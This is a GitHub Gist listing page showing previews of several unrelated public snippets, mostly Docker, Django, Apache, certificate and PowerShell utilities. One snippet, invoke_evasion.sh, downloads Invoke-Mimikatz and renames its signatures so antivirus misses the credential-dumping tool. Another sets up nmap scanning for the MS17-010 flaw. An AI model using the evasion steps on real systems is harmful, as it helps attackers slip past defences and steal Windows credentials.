Skip to content

Instantly share code, notes, and snippets.

@zebde
zebde / Dockerfile
Last active Feb 21, 2018
Viper-web-update Dockerfile
View Dockerfile
FROM python:3
LABEL version="0.3"
RUN sed -i "s/jessie main/jessie main contrib non-free/" /etc/apt/sources.list
RUN apt-get update -qq && \
apt-get -y --no-install-recommends install flex bison libjansson-dev libmagic-dev unrar exiftool gcc python-socksipy libssl-dev swig p7zip-full ssdeep libfuzzy-dev tor clamav-daemon -qq && \
apt-get clean && \
rm -rf /var/lib/apt/lists/* /var/tmp/*
@PaulSec
PaulSec / invoke_evasion.sh
Created Aug 1, 2017
Small script to bypass AV that triggers Invoke-Mimikatz with shitty rules
View invoke_evasion.sh
# AV Bypass to run Mimikatz
# From: https://www.blackhillsinfosec.com/?p=5555
# Server side:
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1
sed -i -e 's/Invoke-Mimikatz/Invoke-Mimidogz/g' Invoke-Mimikatz.ps1
sed -i -e '/<#/,/#>/c\\' Invoke-Mimikatz.ps1
sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-Mimikatz.ps1
sed -i -e 's/DumpCreds/DumpCred/g' Invoke-Mimikatz.ps1
sed -i -e 's/ArgumentPtr/NotTodayPal/g' Invoke-Mimikatz.ps1
@Greymalkin
Greymalkin / gist:f892e52ec541a7220252ac31b6a2abb0
Last active Apr 12, 2020
Inline Admin aware of Parent Object and affecting Generic Foreign Key Content Type choices
View gist:f892e52ec541a7220252ac31b6a2abb0
# in models.py
from django.contrib.contenttypes.fields import GenericForeignKey
from django.contrib.contenttypes.models import ContentType
from django.db import models
class Screen(models.Model):
# Screen Model: Ties into all shows, drives instance selection when using generic foreign keys
name = models.CharField(max_length=50)
limit = (models.Q(
models.Q(app_label='case_story', model='casestoryshow') |
@whereisaaron
whereisaaron / pfx-to-crt-and-key.sh
Last active Feb 15, 2022
Extract a crt file (PEM), key file, and chain bundle from a PFX file, prompts for password or use PFXPASSWORD environment variable
View pfx-to-crt-and-key.sh
#!/bin/bash
#------------------
# Extract the key, certficiate, and chain in PEM format from a PFX format file
#
# Must supply the input pfx file
PFX_PATH="$1"
if [ "${PFX_PATH}" == "" ]; then
echo "Must supply pfx file path"
exit 1
@Neo23x0
Neo23x0 / nmap-cmdline
Last active Mar 19, 2020
Nmap Scan Params for CVE-2017-0143 MS17-010 Scanning
View nmap-cmdline
# Scan for CVE-2017-0143 MS17-010
# The vulnerability used by WannaCry Ransomware
#
# 1. Use @calderpwn's script
# http://seclists.org/nmap-dev/2017/q2/79
#
# 2. Save it to Nmap NSE script directory
# Linux - /usr/share/nmap/scripts/ or /usr/local/share/nmap/scripts/
# OSX - /opt/local/share/nmap/scripts/
#
@wido
wido / mac2eui64.py
Created Dec 21, 2016
Python 3 48-bit MAC to EUI-64 IPv6
View mac2eui64.py
#!/usr/bin/env python3
import ipaddress
import re
def mac2eui64(mac, prefix=None):
'''
Convert a MAC address to a EUI64 address
or, with prefix provided, a full IPv6 address
'''
@daronco
daronco / letsencrypt-webroot-apache.md
Last active Mar 11, 2022
Letsencrypt with webroot on Apache
View letsencrypt-webroot-apache.md

Config Apache with /etc/apache2/conf-available/le.conf:

Alias /.well-known/acme-challenge/ "/var/www/html/.well-known/acme-challenge/"
<Directory "/var/www/html/">
    AllowOverride None
    Options MultiViews Indexes SymLinksIfOwnerMatch IncludesNoExec
    Require method GET POST OPTIONS
</Directory>
@lazywinadmin
lazywinadmin / Timeout.ps1
Created Aug 26, 2015
Timeout in powershell
View Timeout.ps1
#requires -Version 2
$maximumRuntimeSeconds = 3
$process = Start-Process -FilePath powershell.exe -ArgumentList '-Command Start-Sleep -Seconds 4' -PassThru
try
{
$process | Wait-Process -Timeout $maximumRuntimeSeconds -ErrorAction Stop
Write-Warning -Message 'Process successfully completed within timeout.'
@alexpearce
alexpearce / ssotutorial.apacheconf
Last active Oct 21, 2021
Apache configuration file for a virtual host running Flask behind a uWSGI server, authentication with Shibboleth SSO
View ssotutorial.apacheconf
# Apache server configuration for ssotutorial.
# This sets up a Flask application over SSL with CERN SSO authentication via
# Shibboleth.
# Load the SSL and Shibboleth modules
LoadModule ssl_module modules/mod_ssl.so
LoadModule mod_shib /usr/lib64/shibboleth/mod_shib_22.so
# Disable TRACE HTTP requests on CERN advice
TraceEnable Off
@shymonk
shymonk / customize-save-in-django-admin-inline-form.org
Last active May 9, 2022
How to customize save in django admin inline form?
View customize-save-in-django-admin-inline-form.org

Customize Save In Django Admin Inline Form

Background

This is a common case in django ORM.

from django.db import models

class Author(models.Model):